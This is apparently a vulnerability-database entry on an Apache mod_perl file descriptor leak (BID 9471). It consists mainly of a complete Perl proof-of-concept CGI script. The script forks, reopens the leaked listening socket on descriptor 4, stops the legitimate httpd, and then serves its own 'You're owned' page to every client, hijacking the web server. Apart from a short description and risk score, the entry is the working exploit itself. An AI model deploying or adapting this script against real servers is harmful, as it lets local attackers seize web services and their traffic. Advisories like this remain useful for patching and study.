Apache 2.0.4x mod_perl Module File Descriptor Leakage Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apache mod_perl Module 2.0.4x File Descriptor Leakage Vulnerabilit


                                                source: http://www.securityfocus.com/bid/9471/info

A vulnerability has been reported to exist in the Apache mod_perl module that may allow local attackers to gain access to privileged file descriptors. This issue could be exploited by an attacker to hijack a vulnerable server daemon. Other attacks are also possible.

It has been reported that multiple file descriptors, are leaked to the mod_perl module and any processes it creates. This allows for Perl scripts and any processes they spawn to access the privileged I/O streams.

#!/usr/bin/perl

use POSIX qw(setsid);

if (!defined(my $pid = fork)) {
        print &#34;Content-Type: text/html\n\n&#34;;
        print &#34;cannot fork: $!&#34;;
        exit 1;
} elsif ($pid) { # This is the parent
        sleep(1);
        print &#34;Content-Type: text/html\n\n&#34;;
        print &#34;&#60;html&#62;&#60;body&#62;Exploit installed&#60;/body&#62;&#60;/html&#62;&#34;;
        system &#39;/usr/sbin/httpd2 -k stop&#39;;
        sleep(2);
        exit 0;
}

# This is the Child
setsid;
sleep(2);
my $leak = 4;
open(Server, &#34;+&#60;&$leak&#34;);
while (1) {
        my $rin = &#39;&#39;;
        vec($rin,fileno(Server),1) = 1;
        $nfound = select($rout = $rin, undef, undef, undef);
        if (accept(Client,Server) ) {
                print Client &#34;HTTP/1.0 200 OK\n&#34;;
                print Client &#34;Content-Length: 40\n&#34;;
                print Client &#34;Content-Type: text/html\n\n&#34;;
                print Client &#34;&#60;html&#62;&#60;body&#62;&#34;;
                print Client &#34;You&#39;re owned.&#34;;
                print Client &#34;&#60;/body&#62;&#60;/html&#62;&#34;;
                close Client;
        }
}

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1